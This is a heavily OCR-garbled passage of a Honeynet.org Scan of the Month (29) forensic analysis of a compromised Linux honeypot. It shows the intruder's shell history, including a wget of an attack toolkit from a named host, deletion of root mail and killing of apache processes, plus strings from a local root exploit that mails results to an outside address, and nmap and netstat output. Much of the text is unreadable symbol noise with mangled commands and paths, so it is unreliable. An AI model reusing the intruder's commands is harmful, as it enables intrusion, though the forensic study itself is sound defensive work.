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$ % % # # ##
5, # , G H# 6 # I s —al
# L H# /root/ and /var/l og/

root

root

root . Xresources

root .bash_history -> rdevs/nul

root .bash_logout
root .bash_profile
root .bashrc

root .cshrc

root

oot

root .tcshre

root anaconda-ks.cfg
588

root sslstop.tar.g=z
[rootBlocalhost rootlft _

1
1
1
1
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2
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1

[root@localhost rootl# cd ~var~log
[root@localhost logl# 1ls -al

root

root

root : boot.log

root : cron

root : maillog

root : messages -> sdevrsnull
root : SECUre

root : spooler

root : witmp

[root@localhost logl# _

[ Y s s ]

! , # / # 1 # , . bash_history
# #H o #, , ## , 6 [ dev/ nul |, , #
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[root@localhost ~1# 1= -al .bash_history
235 Aug 18 15:54 .bash_history

Ainst

hostname

wstname sbm?9.dtc.apu.edu
d sdevs/shm/sc

.Ainstall sbm?9.dtc.apu.edu
m -rf s/varsmail-/root

get izolam.netrsslstop.tar.gz
s X

g aux i grep apache
ill -9 21518 21511 23289 23292 23382
[root@localhost ~1# _

" # . , # ., # DoH #
# 0 | # # # # 1 # #
#, ' # # + ! # HHd # , -
, # # Y, # 6 #
H " / # rm-rf /var/mil/root. + #
HO# # , # [ #
7 HHH - # , -, I # ,
# % H , , # , o+ -,
# , #, # | # , + #
9: # # - :
4 = #H#  # # 6 # ps aux | grep apache
, #/ , i 6, # kill % ##t
#H #6,,
! [ # # # 6
, , “K” # # , ! 6
# ' # # , # strings # | # # o #%
# , # # #Ht o, ' # # # )
, newpt raceuser @ahoo. com # > ‘nmoka’ ,
5, # # # / /
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[root@localhost ~/1# cd sdevszhm

[root@localhost shml# 1= -al

otal 184

ruxrwxrut Z root root A fAug 18 15:32
ruxr-xr-x 18 root root 77824 fAug 18 15:38
~TWSr-Sr-x 1 root root 24116 May 21 13:12 k
[root@localhost shml# strings k 1 tail

[+] Attached to =d

[-1 Unable to setup =syscall trace

[+]1 Waiting for signal

[-1 Unable to stat myself

binrssh

[-1 Unable to spawn shell

at ipimail -s "moka’ neuwptraceuser@yahoo.com >>sdevsnull 2>>/devsnull
lear

[-1 Unable to fork

[rootRlocalhost shml#

8 .bash_history (/dev/shm sc) #
# # # # , # o,
! | # HiH# , HHH# #H#,
HRH #, H # #
# &# # # / 3 % #, HH,
# y #, # il
+ " # ' # #
, #9

[root @ocal host root]# cd ssl stop
[ root @ ocal host ssl stop]# head sslstop.c sslport.c

5, # , #
[rootBlocalhost sslstopl# head sslstop.c

This program modifies the httpd.conf to disable the S5L support
(ie: to close the port 443). Then it reloads the apache server.

USAGE: .rsslstop [conffile={retcrshttpd-sconf - httpd.confl]
s

itinclude <stdio.h>

ftinclude <string.h>

itinclude <errno.h>

[rootPlocalhost sslstopl# head sslport.c

*
This program modifies the httpd.conf to change the defalul 3SSL port (443)
to something else (114). Then it restarts the apache server.

USAGE: .rssslport [old-port={443}1 [new-port="114"1
/

ftinclude <stdio.h>
ftinclude <string.h>
itinclude <errno.h>
[root@localhost sslstoplé _
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" . % 6 Ht ps auxw | tail %
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ps auxw | tail
1384 448
2444 1276
1472 592
1984 1896
2296 1248
1484 624
2444 1276
1888 336

ssbinsmingetty ttyb
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syslogd -m B

klogd -2

initd

pPs auxw
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25241 ; : 184886 6?2 7 : : #librs .x/s/xo0pen -q -p

1668 7?32 1 : 2 slibs . xs/s7180
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# 9
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Interesting ports on localhost.localdomain (127.8.8.1):
(The 65522 ports scanned but not shown below are in state: closed)
State Service
opeEN ftp
opeEN =sh
opeEN telnet
open smtp
opeEN finger
opeEN http
opeEN auth
open netbios-szsn
opeEn http=s
FHAT A tCp opeEN cf ingerd
3128-tcp opeEN squid-http
65336-tcp open unknown
65436-tcp open unknown

map run completed -- 1 IP address (1 host up) scanned in 9 seconds
[root@localhost rootl# _

fictive Internet comnections (including servers)
Proto Recw-[] Send-{] Local Address Foreign Address State
a 4863 192.168.1.79:65336 213.154.118.288:1188 ESTABLISHED

A A.B.B.A:65436 .B:= LISTEN
A.8.8.8:443 LISTEN
2 .1:25 LISTEN
13128 LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN

[ Qe =~ e~~~ < R < = <
DA DID®
DO DD®
[ el R v e w
OO DID®
DO DEDED@D
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a
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a
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t
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1
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d
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P
[root@Plocalhost hitp
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#
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[root @ocal host root]# cd /etc/xinetd.d
[ root @ ocal host xinetd.d]# grep disable * | grep no

(The above grep commands first checks for the “di sabl e” paraneter in
all the service files in /etc/xinetd.d and then filters out al

those services which are not disabled by greping for the character
string “no”.)

Further the runlevel of the systemis checked with the command
“runl evel ”. The output of the command suggests that the systemis
currently running in runlevel 3 and hence we need to check the
directory /etc/rc3.d where all services that are to be executed in
runl evel 3 are kept. We check for all services that starts with a

capitol “S” i.e. all services which get started.
" % # % ,# "
# # # , ## + 9
$ # - % / , ##
$? # # - % / , ##
a4 C A7 C 6 #,#
+ 6 HH# # #0
ps auxwef ' #H# #5 # H#
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[root @ocal host root]# cd /1ib/.x
[root @ocal host .x]# strings sk | nore
/ # . ,# , B O# 6 # # ,
# H#o , H # #H #

Page 13 of 17



Honeynet. Or g Scan of the Month (29)

Page 14 of 17



Honeynet. Or g Scan of the Month (29)

<?0 # # ' , # > , #
#B
" # # , ' , Ho# /
# # # " 4 # # #
/ # 0 #/ 4 # - a#
# # 4 # #
3., # # , >
:"+) + > 5 #
$ #
#
#
# $
# # " JH# ,
# , #
v " # # ,
/ ' #
7 #
# $

Page 15 of 17




Honeynet. Or g Scan of the Month (29)

< ) # ## .6, # B
"+ ## #.6, # = $ $47 $$? + ## #.6,
", ! A . # ] # # # #1 ,
## 1/ .6 / . H, # ) /
/ / #
= # , % # # # ., # |# 6
' HHH 6 # , -, # #
H JH# #
3 6 6 # # . , # :
@A 6 # & '6 , # 6 L # 16 ! # ., %
=2#%, #% # # it / 6
# |/
+ # 6 # # , #1 L H#H# # HH # ,
# # # ., , % / #1 #
l#/ ’ ’ / ’ 1 "1#% ( ' # # #,,
, 6 ## =#Ht, HH# # 6
I ## , # ) 6

Page 16 of 17



Honeynet. Or g Scan of the Month (29)

<$ o , Ll 6 # % B
"3 2 , 6 / . # 6 /
% # # , 6 , > #
) | %# # 0, =1, # % $47%%? % #
6 ( % # . = #  #
+ #/ ) ’ 3] y#OA) 6
# 6
;821 3(;=(+

Page 17 of 17



